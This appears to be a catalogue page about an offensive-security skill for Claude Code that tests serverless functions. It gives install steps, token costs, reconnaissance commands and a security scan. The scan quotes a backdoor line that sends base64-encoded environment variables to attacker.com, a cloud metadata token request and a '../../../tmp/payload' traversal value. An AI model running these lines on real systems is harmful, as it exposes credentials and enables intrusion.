attacking-serverless

attacking-serverless is a skill for Claude Code from trilwu/secskills. It costs 123 tokens per session (3,572 once invoked), scanned C, original, MIT.

A security-testing guide for serverless programs such as AWS Lambda, Azure Functions, Google Cloud Functions, and Cloudflare Workers. These programs run in response to events instead of on a continuously managed server.

In plain words
What is it for?
Use it to assess function triggers, API gateways, storage and message events, execution roles, managed identities, secrets, and serverless workflows.
Why use it?
It helps identify risks in event inputs, temporary execution environments, and the cloud permissions attached to functions.

Skill for Claude Code

Written for Claude Code: shipped in a Claude Code plugin.

Needs its repository: it reads a path above its own folder, which exists only inside the repository. The line is "object": {"key": "../../../tmp/payload"}.

Part of the secskills-offense plugin — 40 skills shipped together

Good fit Use it to assess function triggers, API gateways, storage and message events, execution roles, managed identities, secrets, and serverless workflows.

Compare 6 skills from other repositories ↓
Install

Getting it into your agent

It runs from inside its repository, so the clone comes first — what it calls does not travel with the file alone.

Clone the repo
git clone --depth 1 https://github.com/trilwu/secskills
agentmods
npx agentmods add skills/trilwu/secskills/attacking-serverless

Made for: Claude Code.

Or install secskills-offense, the plugin that ships this one along with the rest of its 40 skills.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for attacking-serverless

README.md
[![agentmods](https://agentmods.dev/badge/skills/trilwu/secskills/attacking-serverless/github.svg)](https://agentmods.dev/skills/trilwu/secskills/attacking-serverless)
Your own site
<a href="https://agentmods.dev/skills/trilwu/secskills/attacking-serverless"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/attacking-serverless/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for attacking-serverless

Your own site · 80×15
<a href="https://agentmods.dev/skills/trilwu/secskills/attacking-serverless"><img src="https://agentmods.dev/badge/skills/trilwu/secskills/attacking-serverless.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 123 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,572 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 4 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00123 $0.03572
Opus 5.5 $0.00049 $0.01429
Sonnet 5.5 $0.00025 $0.00714
Haiku 4.5 $0.00012 $0.00357

Measured 2mo ago against content hash 869f43ff8d43, method: parsed. Prices are Anthropic first-party input rates as of 2026-10-07, from the pricing page.

Security

Grade C, and why

attacking-serverless scanned grade C with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Harvests environment variablesmediumData exfiltration

Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.

description: Attack serverless compute — AWS Lambda, Azure Functions, GCP Cloud Functions, and edge runtimes like Cloudflare Workers. Enumerate functions, inject through event sources (S3, SQS, SNS, API Gateway, EventBri

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Cloud metadata endpointmediumServer-side request forgery

One request to 169.254.169.254 can return temporary IAM credentials.

curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -s "http://${AWS_LAMBDA_RUNTIME_API}/2018-06-01/runtime/invocation/next"

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

echo 'import os; os.system("curl attacker.com/exfil?data=$(env|base64)")' > /tmp/backdoor.py
secskills-offense/skills/attacking-serverless/SKILL.md · 361 lines

How it starts

The opening of the file, as written. The whole thing — 361 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Attacking Serverless

Serverless changes the attack surface from hosts to events. There is no SSH, no persistent shell, no OS to enumerate in the traditional sense. The execution environment is ephemeral, but the IAM role attached to it is not, and that role is almost always the real target. A compromised Lambda function does not give you a server — it gives you a set of AWS credentials that refresh automatically, have no MFA, and were scoped by a developer who optimized for "make it work" rather than least privilege. The same pattern holds across Azure Functions, GCP Cloud Functions, and edge runtimes, with minor variation in where the credentials live and how the isolation boundary is drawn.

When to Use

  • The target runs AWS Lambda, Azure Functions, GCP Cloud Functions, or Cloudflare Workers
  • API Gateway, Azure API Management, or GCP API Gateway fronts serverless compute
  • Event-driven architectures process input from S3, SQS, SNS, EventBridge, Pub/Sub, or Storage triggers
  • You need to test the execution role or managed identity attached to a function
  • Step Functions, Durable Functions, or Cloud Workflows orchestrate serverless components
  • Function URLs or HTTP triggers are exposed without an authorizer

When NOT to Use

  • IAM-only without serverless compute — use exploiting-cloud-platforms for general cloud IAM enumeration and privilege escalation
  • API Gateway as a REST API where the backend is containers or VMs — use testing-apis for the API methodology
  • Source code review of function code without runtime access — use auditing-code-for-vulnerabilities for static analysis

Reconnaissance

Discover functions before you attack them. The function name, runtime, handler, event sources, and attached role are all enumerable from the cloud control plane or from the application itself.

# AWS — list functions and their configurations
aws lambda list-functions --query 'Functions[*].[FunctionName,Runtime,Role,Handler]' --output table
aws lambda list-event-source-mappings --function-name TARGET_FUNCTION
aws apigateway get-rest-apis
aws apigatewayv2 get-apis

# Azure
az functionapp list --query '[].{name:name, runtime:siteConfig.linuxFxVersion, rg:resourceGroup}' -o table
az functionapp function list --name APP_NAME --resource-group RG

# GCP
gcloud functions list --format='table(name,runtime,entryPoint,trigger)'
gcloud functions describe FUNCTION_NAME

Read the full file on GitHub · 361 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2mo ago First seen · 361 lines · 123 tokens per session scan C 869f43ff8d43

Subscribe to this mod's changes

attacking-serverless is a skill published in the GitHub repository trilwu/secskills (211 stars, last pushed 2mo ago), licensed MIT. It adds 123 tokens to every session and 3,572 once invoked, about $0.0005 per session on Opus 5.5. A static security scan graded it C with 4 findings (harvests environment variables, cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

Related

attacking-serverless compared with skills from other repositories

attacking-serverless next to 6 skills from other repositories
ModTypeStarsLast pushLicenceScanTokensWorks with
attacking-serverlesstrilwu/secskillsSkill2112mo agoMITC123Claude Code
agent-platform-tuninggoogle/skillsSkill25ktodayApache-2.0A64Claude Code, Codex
gke-compute-classesgoogle/skillsSkill25ktodayApache-2.0A83Claude Code, Codex
application-integration-authoringgoogle/skillsSkill25ktodayApache-2.0A103Claude Code, Codex
bigquery-migration-metadata-extractorgoogle/skillsSkill25ktodayApache-2.0A188Claude Code, Codex
gke-alert-configurationgoogle/skillsSkill25ktodayApache-2.0A120Claude Code, Codex
cloud-network-insightsgoogle/skillsSkill25ktodayApache-2.0A138Claude Code, Codex